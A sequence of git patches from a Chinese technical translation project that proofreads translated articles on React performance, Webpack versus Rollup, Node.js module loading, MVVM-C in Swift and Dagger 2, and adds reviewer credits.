-**小提示**：相比手工实现 `shouldComponentUpdate()` 方法，我可以继承 React 的 `PureComponent` 而不是 `Component`。这个组件会用严格对等（`===`）对比所有的 props，并且仅当 **任一** props 变更时重绘。但是我知道在例子的上下文中 `resource` 和 `children` 不不会变更，所以无需检查他们的对等性。
+**小提示**：相比手工实现 `shouldComponentUpdate()` 方法，我可以继承 React 的 `PureComponent` 而不是 `Component`。这个组件会用严格对等（`===`）对比所有的 props，并且仅当 **任一** props 变更时重绘。但是我知道在例子的上下文中 `resource` 和 `children` 不会变更，所以无需检查他们的对等性。
 
 有了这一优化，点击表头后，`<Datagrid>` 组件的重绘会跳过表体及其全部 231 个组件。这会将 500ms 的更新时间减少到 60ms。网络性能提高超过 400ms！
 
@@ -488,7 +488,7 @@ export default onlyUpdateForKeys(['basePath', 'refresh'])(Toolbar);
 
 ## 结论
 
-还有许多可以使 React 应用更快的方法（使用 keys，懒加载重路由，`react-addons-perf` 包，使用 ServiceWorkers 缓存应用状态，使用同构等等），但正确实现 `shouldComponentUpdate` 是第一步 - 也是最有用的。
+还有许多可以使 React 应用更快的方法（使用 keys、懒加载重路由、`react-addons-perf` 包、使用 ServiceWorkers 缓存应用状态、使用同构等等），但正确实现 `shouldComponentUpdate` 是第一步 - 也是最有用的。
 
 React 默认是不快的，但是无论是什么规模的应用，它都提供了许多工具来加速。这也许是违反直觉的，尤其自从许多框架提供了 React 的替代品，它们声称比 React 快 n 倍。但 React 把开发者的体验放在了性能之前。这也是为什么用 React 开发大型应用是个愉快的体验，没有惊吓，只有不变的实现速度。
 

From 41b103a78d20e01e81aa9013b816cab4180785c0 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Mon, 10 Apr 2017 13:44:43 +0800
Subject: [PATCH 098/638] =?UTF-8?q?=E4=B8=80=E6=A0=A1=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/webpack-and-rollup-the-same-but-different.md | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/TODO/webpack-and-rollup-the-same-but-different.md b/TODO/webpack-and-rollup-the-same-but-different.md
index 4e286f35689..b80a7886547 100644
--- a/TODO/webpack-and-rollup-the-same-but-different.md
+++ b/TODO/webpack-and-rollup-the-same-but-different.md
@@ -8,7 +8,7 @@
 
 ![](https://cdn-images-1.medium.com/max/1000/1*rtjClMZ8sq3cLFT9Aq8Xyg.png)
 
-本周，Facebook 将一个[非常大的 pull request](https://github.com/facebook/react/pull/9327) 合并到了 React 主分支。这个 PR 将 React 以前使用的构建工具替换成了 [Rollup](https://rollupjs.org/)。这让许多人感到不解，纷纷在推特上提问：“为什么你们选择 Rollup 而不选择 Webpack 呢？”<sub>[1](https://twitter.com/stanlemon/status/849366789825994752)</sub> <sub>[2](https://twitter.com/MrMohtas/status/849362334988595201)</sub> <sub>[3](https://twitter.com/kyleholzinger/status/849683292760797184)</sub>
+本周，Facebook 将一个[非常大的 pull request](https://github.com/facebook/react/pull/9327) 合并到了 React 主分支。这个 PR 将 React 当前使用的构建工具替换成了 [Rollup](https://rollupjs.org/)。这让许多人感到不解，纷纷在推特上提问：“为什么你们选择 Rollup 而不选择 Webpack 呢？”<sub>[1](https://twitter.com/stanlemon/status/849366789825994752)</sub> <sub>[2](https://twitter.com/MrMohtas/status/849362334988595201)</sub> <sub>[3](https://twitter.com/kyleholzinger/status/849683292760797184)</sub>
 
 有人问这个问题是很正常的。[Webpack](https://webpack.js.org/) 是现在 JavaScript 社区中最伟大的成功传奇之一，它有着数百万/月的下载量，驱动了成千上万的网站与应用。它有着巨大的生态系统、众多的贡献者，并且它与一般的社区开源项目不同——它有着[意义非凡的经济支持](https://opencollective.com/webpack)。
 
@@ -16,9 +16,9 @@
 
 ### 这两个打包工具的优缺点 ###
 
-Webpack 由 [Tobias Koppers](https://medium.com/@sokra) 在 2012 年创建，用于解决当时的工具不能处理的问题：构建复杂的单页应用（SPA）。它的两个特点改变了一切：
+Webpack 由 [Tobias Koppers](https://medium.com/@sokra) 在 2012 年创建，用于解决当时的工具不能处理的问题：构建复杂的单页应用（SPA）。尤其是它的两个特点改变了一切：
 
-1. **代码分割**可以将你的 app 分割成许多个容易管理的分块，这些分块能够在用户使用你的 app 时按需加载。这意味着你的网站可以比那些没有使用此技术的网站要快上很多。因为访问那些网站必须要等待整个应用都被下载并解析完成。当然，你**也可以**自己手动去进行代码分割，但是……总之，祝你好运。
+1. **代码分割**可以将你的 app 分割成许多个容易管理的分块，这些分块能够在用户使用你的 app 时按需加载。这意味着你的用户可以有更快的交互体验。因为访问那些网站必须要等待整个应用都被下载并解析完成。当然，你**也可以**自己手动去进行代码分割，但是……总之，祝你好运。
 2. **静态资源**的导入：图片、CSS 等静态资源可以直接导入到你的 app 中，就和其它的模块、节点一样能够进行依赖管理。因此，我们再也不用小心翼翼地将各个静态文件放在特定的文件夹中，然后再去用脚本给文件 URL 加上哈希串了。Webpack 已经帮你完成了这一切。
 
 而 Rollup 的开发理念则不同：它利用 ES2015 模块的巧妙设计，尽可能高效地构建精简且易分发的 JavaScript 库。而其它的模块打包器（包括 Webpack在内）都是通过将模块分别封装进函数中，然将这些函数通过能在浏览器中实现的 `require` 方法打包，最后依次处理这些函数。在你需要实现按需加载的时候，这种做法非常的方便，但是这样做引入了很多无关代码，比较浪费资源。当[你有很多模块要打包的时候，这种情况会变得更糟糕](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)。
@@ -29,21 +29,21 @@ ES2015 模块则启用了一种不同的实现方法，Rollup 用的也就是这
 
 ### 那么我到底应该选用哪一个呢？ ###
 
-回答这个问题之前，我们已经了解了这两个工具各自的优缺点，它们同时存在并相互支持的原因正是因为它们解决的问题不同。那么，现在这个问题的答案简单来说就是：
+到目前为止，我们已经清晰地了解了这两个工具共存并且相互支撑的原因 — 它们应用于不同的场景。那么，现在这个问题的答案简单来说就是：
 
 > 在开发应用时使用 Webpack，开发库时使用 Rollup
 
 当然这不是什么严格的规定——有很多的网站和 app 一样是使用 Rollup 构建的，同时也有很多的库使用 Webpack。不过，这是个很值得参考的经验之谈。
 
-如果你需要进行代码分割，或者你有很多的静态资源，再或者你做的东西深度依赖 CommonJS，毫无疑问 Webpack 是你的最佳选择。如果你的代码基于 ES2015 模块编写，并且你做的东西是准备给他人使用的，你应该更适合用 Rollup。
+如果你需要进行代码分割，或者你有很多的静态资源，再或者你做的东西深度依赖 CommonJS，毫无疑问 Webpack 是你的最佳选择。如果你的代码基于 ES2015 模块编写，并且你做的东西是准备给他人使用的，你或许可以考虑使用 Rollup。
 
 ### 对于包作者的建议：请使用 `pkg.module`！ ###
 
-在很长一段时间里，使用 JavaScript 库是一件相当有风险的事，因为这意味着你必须和库的作者在模块系统上的意见保持一致。如果你使用 Browserify 而他更喜欢 AMD，你就不得不在 build 之前先强行将两者粘起来。[通用模块定义（UMD）](https://github.com/umdjs/umd)格式对这个问题进行了 *部分* 的修复，但是它没有强制要求所有的人都用它，最后反而会让你更加不知所措。
+在很长一段时间里，使用 JavaScript 库是一件有点风险的事，因为这意味着你必须和库的作者在模块系统上的意见保持一致。如果你使用 Browserify 而他更喜欢 AMD，你就不得不在 build 之前先强行将两者粘起来。[通用模块定义（UMD）](https://github.com/umdjs/umd)格式对这个问题进行了 **部分** 的修复，但是它没有强制要求在任何场景下都使用它，因此你无法预料你将会遇到什么坑。
 
 ES2015 改变了这一切，因为 `import` 与 `export` 就是语言规范本身的一部分。在未来，不再会有现在这种模棱两可的情况，所有东西都将更加无缝地配合工作。不幸的是，由于大多数浏览器和 Node 还不支持 `import` 和 `export`，我们仍然需要依靠 UMD 规范（如果你只写 Node 的话也可以用 CommonJS）。
 
-现在给你的库的 package.json 文件增加一个 `"module": "dist/my-library.es.js"` 入口，可以让你的库同时支持 UMD 与 ES2015。**这很重要，因为 Webpack 和 Rollup 都使用了 ** `pkg.module` ** 来尽可能的生成效率更高的代码**——在一些情况下，它们都能使用 [tree-shake](https://webpack.js.org/guides/tree-shaking/) 来精简掉你的库中未使用的部分。
+现在给你的库的 package.json 文件增加一个 `"module": "dist/my-library.es.js"` 入口，可以让你的库同时支持 UMD 与 ES2015。**这很重要，因为 Webpack 和 Rollup 都使用了 `pkg.module` 来尽可能的生成效率更高的代码**——在一些情况下，它们都能使用 [tree-shake](https://webpack.js.org/guides/tree-shaking/) 来精简掉你的库中未使用的部分。
 
 *了解更多有关 `pkg.module` 的内容请访问 [Rollup wiki](https://github.com/rollup/rollup/wiki/pkg.module) 。*
 

From b4d215686cd9c950fd952a64b27468bc6a75d4b8 Mon Sep 17 00:00:00 2001
From: zhouzihanntu <abbey357423606@hotmail.com>
Date: Mon, 10 Apr 2017 15:09:31 +0800
Subject: [PATCH 099/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E7=AC=AC=E4=BA=8C?=
 =?UTF-8?q?=E4=BD=8D=E6=A0=A1=E5=AF=B9=E8=80=85=E6=84=8F=E8=A7=81=E4=BF=AE?=
 =?UTF-8?q?=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...modules-in-node-js-everything-you-need-to-know.md | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
index d48fe1071ac..afdf951dfad 100644
--- a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
+++ b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
@@ -15,9 +15,9 @@ Node 提供了两个核心模块来管理模块依赖：
 - `require` 模块在全局范围内可用，不需要写 `require('require')`.    
 - `module` 模块同样在全局范围内可用，不需要写 `require('module')`.
 
-你可以将 `require` 模块理解为命令，将 `module` 模块理解为所有必要模块的组织者。
+你可以将 `require` 模块理解为命令，将 `module` 模块理解为所有引入模块的组织者。
 
-在 Node 中引入一个模块其实并没有想象中的那么复杂。
+在 Node 中引入一个模块其实并不是个多么复杂的概念。
 
 ```
 const config = require('/path/to/file');
@@ -29,7 +29,7 @@ const config = require('/path/to/file');
 - **加载**：确定文件内容的类型。
 - **打包**：为文件划分私有作用域，这样 `require` 和 `module` 两个对象对于我们要引入的每个模块来说就都是本地的。
 - **评估**：最后由虚拟机对加载得到的代码做评估。
-- **缓存**：当再次引用该文件时，无需再重复以上所有步骤。
+- **缓存**：当再次引用该文件时，无需再重复以上步骤。
 
  在本文中，我将尝试举例说明这些不同阶段的工作原理，以及它们是如何影响我们在 Node 中编写模块的方式的。
 
@@ -62,7 +62,7 @@ Module {
 
 Node 模块与文件系统中的文件有着一对一的关系。我们通过加载模块对应的文件内容到内存中来实现模块引用。
 
-然而，由于 Node 允许使用许多方式引入文件（例如，使用相对路径或预先配置的路径），我们需要在将文件的内容加载到内存前找到该文件的绝对位置。
+然而，由于 Node 允许使用多种方式引入文件（例如，使用相对路径或预先配置的路径），我们需要在将文件的内容加载到内存前找到该文件的绝对位置。
 
 例如，我们不声明路径，直接引入一个 `'find-me'` 模块时：
 
@@ -389,7 +389,7 @@ fs.readFile('/etc/passwd', (err, data) => {
 
 我们现在来回答关于 Node 中循环依赖的重要问题：当我们在模块1中引用模块2，在模块2中引用模块1时会发生什么？
 
-为了找到答案，我们在 `lib/` 下创建 `module1.js` 和 `module.js` 两个文件并让它们互相引用：
+为了找到答案，我们在 `lib/` 下创建 `module1.js` 和 `module2.js` 两个文件并让它们互相引用：
 
 ```
 // lib/module1.js
@@ -643,7 +643,7 @@ if (require.main === module) {
 }
 ```
 
-所以我们可以使用这个条件来满足以上的使用需求，通过不同的方式调用 printInFrame 函数。
+所以我们可以使用该条件判断来满足上述使用需求，通过不同的方式调用 printInFrame 函数。
 
 ```
 // 在 print-in-frame.js 中

From 63a5a48054b1f5fcaf5cce5c283d554209bd2b19 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 10 Apr 2017 15:15:42 +0800
Subject: [PATCH 100/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=8E=88=E6=9D=83?=
 =?UTF-8?q?=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...bpack-bits-getting-the-most-out-of-the-commonschunkplugin.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
index cd003ab1e9f..21e2cff04aa 100644
--- a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
+++ b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
@@ -1,5 +1,5 @@
 > * 原文地址：[webpack bits: Getting the most out of the CommonsChunkPlugin()](https://medium.com/webpack/webpack-bits-getting-the-most-out-of-the-commonschunkplugin-ab389e5f318#.hn8v7ul1f)
-> * 原文作者：[Sean T. Larkin](https://medium.com/@TheLarkInn?source=post_header_lockup)
+> * 原文作者：本文已获原作者 [Sean T. Larkin](https://medium.com/@TheLarkInn) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[reid3290](https://github.com/reid3290)
 > * 校对者：

From 2421f9334d1b28b4b0232bca842b3a35542d943b Mon Sep 17 00:00:00 2001
From: zhouzihanntu <abbey357423606@hotmail.com>
Date: Mon, 10 Apr 2017 15:37:42 +0800
Subject: [PATCH 101/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E8=80=85=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../requiring-modules-in-node-js-everything-you-need-to-know.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
index afdf951dfad..d160796cd96 100644
--- a/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
+++ b/TODO/requiring-modules-in-node-js-everything-you-need-to-know.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Samer Buna](https://medium.freecodecamp.com/@samerbuna?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[zhouzihanntu](https://github.com/zhouzihanntu)
-> * 校对者：[lsvih](https://github.com/lsvih)
+> * 校对者：[lsvih](https://github.com/lsvih), [reid3290](https://github.com/reid3290)
 
 # 关于在 Node.js 中引用模块，知道这些就够了 #
 

From 9fb579dbd77e063247690279625b8b49a0b3367a Mon Sep 17 00:00:00 2001
From: DeepMissea <398752853@qq.com>
Date: Mon, 10 Apr 2017 15:53:10 +0700
Subject: [PATCH 102/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E4=B8=A4=E4=BD=8D?=
 =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E8=80=85=E7=9A=84=E6=84=8F=E8=A7=81=E4=BF=AE?=
 =?UTF-8?q?=E6=94=B9=E3=80=82?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/mvvmc-with-swift.md | 38 +++++++++++++++++++-------------------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/TODO/mvvmc-with-swift.md b/TODO/mvvmc-with-swift.md
index 0e68011078c..01134ab233a 100644
--- a/TODO/mvvmc-with-swift.md
+++ b/TODO/mvvmc-with-swift.md
@@ -12,18 +12,18 @@
 
 # 简介
 
-现今，iOS 开发者面临的最大挑战是构建一个健壮应用程序，它必须易于维护、测试和扩展。
+现今，iOS 开发者面临的最大挑战是构建一个健壮的应用程序，它必须易于维护、测试和扩展。
 
 在这篇文章里，你会学到一种可靠的方法来达到目的。
 
-首先，需要简介一下你即将学习的内容：
+首先，简要介绍下你即将学习的内容：
 **架构模式**.
 
 # 架构模式
 
 ## 它是什么
 
-> 架构模式是给定上下文中软件体系结构中常见的，可重用的解决方案。架构与软件设计模式相似，但作用范围更广。架构解决了软件工程中的各种问题，如计算机硬件性能限制，高可用性和最小化业务风险。一些架构模式已经在软件框架内实现。
+> 架构模式是给定上下文中软件体系结构中常见的，可重用的解决方案。架构与软件设计模式相似，但涉及的范围更广。架构解决了软件工程中的各种问题，如计算机硬件性能限制，高可用性和最小化业务风险。一些架构模式已经在软件框架内实现。
 
 摘自 [Wikipedia](https://en.wikipedia.org/wiki/Architectural_pattern)。
 
@@ -31,31 +31,31 @@
 
 ## 主要的模式
 
-在项目中，有几种可用的架构模式，并且你可以在项目中使用多个，因为每个模式都能高好的适应特定的场景。
+在项目中，有几种可用的架构模式，并且你可以在项目中使用多个，因为每个模式都能更好地适应特定的场景。
 
-当你阅读关于这几种模式时，主要会遇到这种：
+当你阅读这几种模式时，主要会遇到：
 
 ### [Model-View-Controller](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)
 
 ![](https://marcosantadev.com/wp-content/uploads/mvc_2.jpg)
 
-这是最常见的，也许在你的第一个 iOS 应用中已经使用过。不幸地是，这也是最糟糕的模式，因为 `Controller` 不得不管理每一个依赖（API、数据库等等），包括你应用的业务逻辑，而且与 `UIKit` 的耦合度很高，这意味着测试异常的艰难。
+这是最常见的，也许在你的第一个 iOS 应用中已经使用过。不幸地是，这也是最糟糕的模式，因为 `Controller` 不得不管理每一个依赖（API、数据库等等），包括你应用的业务逻辑，而且与 `UIKit` 的耦合度很高，这意味着很难去测试。
 
-你通常会避免这种模式，用下面的某种来代替它。
+你应该避免这种模式，用下面的某种来代替它。
 
 ### [Model-View-Presenter](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter)
 
 ![](https://marcosantadev.com/wp-content/uploads/mvp.jpg)
 
-这是第一个 MVC 的替代方案之一，一次对 `Controller` 和 `View` 之间解耦的很好的尝试。
+这是第一个 MVC 模式的备选方案之一，一次对 `Controller` 和 `View` 之间解耦的很好的尝试。
 
-在 MVP 中，你有一层叫做 `Presenter` 的新结构来处理业务逻辑。而 `View` —— 你的 `UIViewController` 以及任何 `UIKit` 组件，都是一个笨的对象，他们只通过 `Presenter` 更新，并在触发 UI 事件的时候，负责通知 `Presenter`。由于 `Presenter` 没有任何 `UIKit` 的引用，所以非常容易测试。
+在 MVP 中，你有一层叫做 `Presenter` 的新结构来处理业务逻辑。而 `View` —— 你的 `UIViewController` 以及任何 `UIKit` 组件，都是一个笨的对象，他们只通过 `Presenter` 更新，并在 UI 事件被触发的时候，负责通知 `Presenter`。由于 `Presenter` 没有任何 `UIKit` 的引用，所以非常容易测试。
 
 ### [Viper](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter)
 
 [![](https://www.objc.io/images/issue-13/2014-06-07-viper-intro-0a53d9f8.jpg)](https://www.objc.io/issues/13-architecture/viper/)
 
-这是 [Bob 叔叔清晰架构](https://8thlight.com/blog/uncle-bob/2012/08/13/the-clean-architecture.html)的代表。
+这是 [Bob 叔叔的清晰架构](https://8thlight.com/blog/uncle-bob/2012/08/13/the-clean-architecture.html)的代表。
 
 这种模式的强大之处在于，它合理分配了不同层次之间的职责。通过这种方式，你的每个层次做的的事变得很少，易于测试，并且具备单一职责。这种模式的问题是，在大多数场合里，它过于复杂。你需要管理很多层，这会让你感到混乱，难于管理。
 
@@ -65,7 +65,7 @@
 
 ![](https://marcosantadev.com/wp-content/uploads/mvvm.jpg)
 
-最后但也是最重要的，MVVM 是一个类似于 MVP 的框架，因为层次看几乎相同。你可以认为 MVVM 是 MVP 版本的一个进化，而这得益于 UI 绑定。
+最后但也是最重要的，MVVM 是一个类似于 MVP 的框架，因为层级结构几乎相同。你可以认为 MVVM 是 MVP 版本的一个进化，而这得益于 UI 绑定。
 
 UI 绑定是在 `View` 和 `ViewModel` 之间建立一座单向或双向的桥梁，并且两者之间以一种非常透明地方式进行沟通。
 
@@ -73,7 +73,7 @@ UI 绑定是在 `View` 和 `ViewModel` 之间建立一座单向或双向的桥
 
 在 Swift 里有多种方式实现 UI 绑定：
 
-#### RxSwift (or ReactiveCocoa)
+#### RxSwift (或 ReactiveCocoa)
 
 [RxSwift](https://github.com/ReactiveX/RxSwift) 是 [ReactiveX](http://reactivex.io/) 家族的一个 Swift 版本的实现。一旦你掌握了它，你就能很轻松地切换到 RxJava、RxJavascript 等等。
 
@@ -97,7 +97,7 @@ class ViewController: UIViewController {
 
 我不会解释如何彻底地使用 RxSwift，因为这超出本文的目标，它自己会有文章来解释。
 
-FRP 让你学习到了一种新的方式来开发，你可能对它或爱或恨。如果你没用过 FRP 开发，那你不得不花费几小时的时间来使用，并理解如何正确的使用，因为它是一个完全不同的编程概念。
+FRP 让你学习到了一种新的方式来开发，你可能对它或爱或恨。如果你没用过 FRP 开发，那你需要花费几个小时来熟悉和理解如何正确地使用它，因为它是一个完全不同的编程概念。
 
 另一个类似于 RxSwift 的框架是 [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa)，如果你想了解他们之间主要的区别的话，你可以看看[这篇文章](https://www.raywenderlich.com/126522/reactivecocoa-vs-rxswift)。
 
@@ -211,7 +211,7 @@ class ViewModel {
 
 ## 抉择: MVVM-C
 
-在你不得不选择一个架构模式时，你需要理解哪一种更适合你的需求。在这些模式里，MVVM 是最好的选择，因为它强大的同时，也易于使用。
+在你不得不选择一个架构模式时，你需要理解哪一种更适合你的需求。在这些模式里，MVVM 是最好的选择之一，因为它强大的同时，也易于使用。
 
 不幸地是这种模式并不完美，主要的缺陷是 MVVM 没有路由管理。
 
@@ -225,7 +225,7 @@ class ViewModel {
 
 你可以在[这里](https://github.com/MarcoSantarossa/MVVM-C_with_Swift)下载项目源码。
 
-这些类被简化了，以便于你可以专注于 MVVM-C 是如何工作的，因此 GitHub 上的类可能会有轻微出入。
+这个例子被简化了，以便于你可以专注于 MVVM-C 是如何工作的，因此 GitHub 上的类可能会有轻微出入。
 
 示例应用是一个普通的仪表盘应用，它从公共 API 获取数据，一旦数据准备就绪，用户就可以通过 ID 查找实体，如下面的截图：
 
@@ -294,7 +294,7 @@ final class DashboardContainerCoordinator: Coordinator {
 }
 ```
 
-你一定能注意到在 `Coordinator` 里，一个父类 `UIViewController` 对象或者子类对象，类似于 `UINavigationController`，被注入到构造器之中。因为 `Coordinator` 有责任添加 `View` 到视图层级之中，它必须知道那个父类添加了 `View`。
+你一定能注意到在 `Coordinator` 里，一个父类 `UIViewController` 对象或者子类对象，比如 `UINavigationController`，被注入到构造器之中。因为 `Coordinator` 有责任添加 `View` 到视图层级之中，它必须知道那个父类添加了 `View`。
 
 在上面的例子里，`DashboardContainerCoordinator` 实现了协议 `Coordinator`：
 
@@ -337,7 +337,7 @@ class AppDelegate: UIResponder, UIApplicationDelegate {
 
 在 `AppDelegate` 里，我们实例化一个新的 `DashboardContainerCoordinator`，通过 `start` 方法，我们把新的视图推入 `navigationController` 里。
 
-**你可以看到 GitHub 项目如何注入一个 `UINavigationController` 类型的对象，并去除 `UIKit` 和 `Coordinator` 之间的耦合。**
+**你可以看到在 GitHub 上的项目是如何注入一个 `UINavigationController` 类型的对象，并去除 `UIKit` 和 `Coordinator` 之间的耦合。**
 
 ### Model
 
@@ -450,7 +450,7 @@ final class UsersViewModel {
 
 MVVM-C 有很多优点，可以提高应用程序的质量。你应该注意使用哪种方式来进行 UI 绑定，因为 RxSwift 不容易掌握，而且如果你不明白你做的是什么，调试和测试有时可能会有点棘手。
 
-我的建议是一点点地开始使用这种架构模式，这样你可以对不同的层次得到使用，并且能保证层次之间的良好的分离，易于测试。
+我的建议是一点点地开始使用这种架构模式，这样你可以学习不同层次的使用，并且能保证层次之间的良好的分离，易于测试。
 
 # FAQ
 
@@ -466,7 +466,7 @@ MVVM-C 有很多优点，可以提高应用程序的质量。你应该注意使
 
 这取决于你要开新项目，还是要维护旧代码。在有遗留代码的项目中，你可能无法使用 RxSwift，因为你需要重构很多的类。如果你有时间和资源来做，我建议你新开一项目一点一点的做，否则还是尝试其他的方法来解决 UI 绑定的问题。
 
-需要考虑的一个重要事情是，RxSwift 会一直是你项目中的另一个依赖，你可能会因为 RxSwift 的突破性改动而导致浪费时间的风险，或者缺少要在边缘案例中实现功能的文档。
+需要考虑的一个重要事情是，RxSwift 最终会成为你项目中的另一个依赖，你可能会因为 RxSwift 的破坏性改动而导致浪费时间的风险，或者缺少要在边缘案例中实现功能的文档。
 
 ---
 

From 575abaa19e6fc5bf58452a64699a00e0d62bf6fa Mon Sep 17 00:00:00 2001
From: DeepMissea <398752853@qq.com>
Date: Mon, 10 Apr 2017 15:55:20 +0700
Subject: [PATCH 103/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E8=80=85=E3=80=82?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/mvvmc-with-swift.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/mvvmc-with-swift.md b/TODO/mvvmc-with-swift.md
index 01134ab233a..eb77db7fd87 100644
--- a/TODO/mvvmc-with-swift.md
+++ b/TODO/mvvmc-with-swift.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Marco Santarossa](https://marcosantadev.com/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[Deepmissea](http://deepmissea.blue)
-> * 校对者：
+> * 校对者：[atuooo](http://atuo.xyz)，[1992chenlu](https://github.com/1992chenlu)
 
 ---
 

From 59b306ee920a7a4ffa66bb66396b88012751398f Mon Sep 17 00:00:00 2001
From: reid <geniusreid@163.com>
Date: Mon, 10 Apr 2017 17:45:38 +0800
Subject: [PATCH 104/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E8=80=85=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...bpack-bits-getting-the-most-out-of-the-commonschunkplugin.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
index cd003ab1e9f..e9b092a47c2 100644
--- a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
+++ b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Sean T. Larkin](https://medium.com/@TheLarkInn?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[reid3290](https://github.com/reid3290)
-> * 校对者：
+> * 校对者：[avocadowang](https://github.com/avocadowang)，[Aladdin-ADD](https://github.com/Aladdin-ADD)
 
 # webpack 拾翠：充分利用 CommonsChunkPlugin() #
 

From 961859c7975344537dd677404afe6b0a67fb74b1 Mon Sep 17 00:00:00 2001
From: tanglie <tanglie23@163.com>
Date: Mon, 10 Apr 2017 22:07:05 +0800
Subject: [PATCH 105/638] Update Dependency-Injection-with-Dagger-2.md

---
 TODO/Dependency-Injection-with-Dagger-2.md | 26 +++++++++++-----------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/TODO/Dependency-Injection-with-Dagger-2.md b/TODO/Dependency-Injection-with-Dagger-2.md
index e36788e6667..304ecaf4d00 100644
--- a/TODO/Dependency-Injection-with-Dagger-2.md
+++ b/TODO/Dependency-Injection-with-Dagger-2.md
@@ -2,17 +2,17 @@
 > * 原文作者：[CodePath](https://github.com/codepath)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者： [tanglie1993](https://github.com/tanglie1993)
-> * 校对者：
+> * 校对者：[mnikn](https://github.com/mnikn), [Zhiw](https://github.com/Zhiw)
 
 # 用 Dagger 2 实现依赖注入
 
 ## 概要 
 
-很多 Android 应用依赖于一些含有其它依赖的对象。例如，一个 Twitter API 客户端可能需要通过 [Retrofit](https://github.com/codepath/android_guides/wiki/Consuming-APIs-with-Retrofit) 之类的网络库被构建。要使用这个库，你可能还需要添加 [Gson](https://github.com/codepath/android_guides/wiki/Leveraging-the-Gson-Library) 这样的解析库。另外，实现认证或缓存的库可能需要使用 [shared preferences](https://github.com/codepath/android_guides/wiki/Storing-and-Accessing-SharedPreferences) 或其它通用存储方式。这就需要先把它们实例化，并创建一个隐含的依赖链。
+很多 Android 应用依赖于一些含有其它依赖的对象。例如，一个 Twitter API 客户端可能需要通过 [Retrofit](https://github.com/codepath/android_guides/wiki/Consuming-APIs-with-Retrofit) 之类的网络库来构建。要使用这个库，你可能还需要添加 [Gson](https://github.com/codepath/android_guides/wiki/Leveraging-the-Gson-Library) 这样的解析库。另外，实现认证或缓存的库可能需要使用 [shared preferences](https://github.com/codepath/android_guides/wiki/Storing-and-Accessing-SharedPreferences) 或其它通用存储方式。这就需要先把它们实例化，并创建一个隐含的依赖链。
 
 如果你不熟悉依赖注入，看看[这个](https://www.youtube.com/watch?v=IKD2-MAkXyQ)短视频。
 
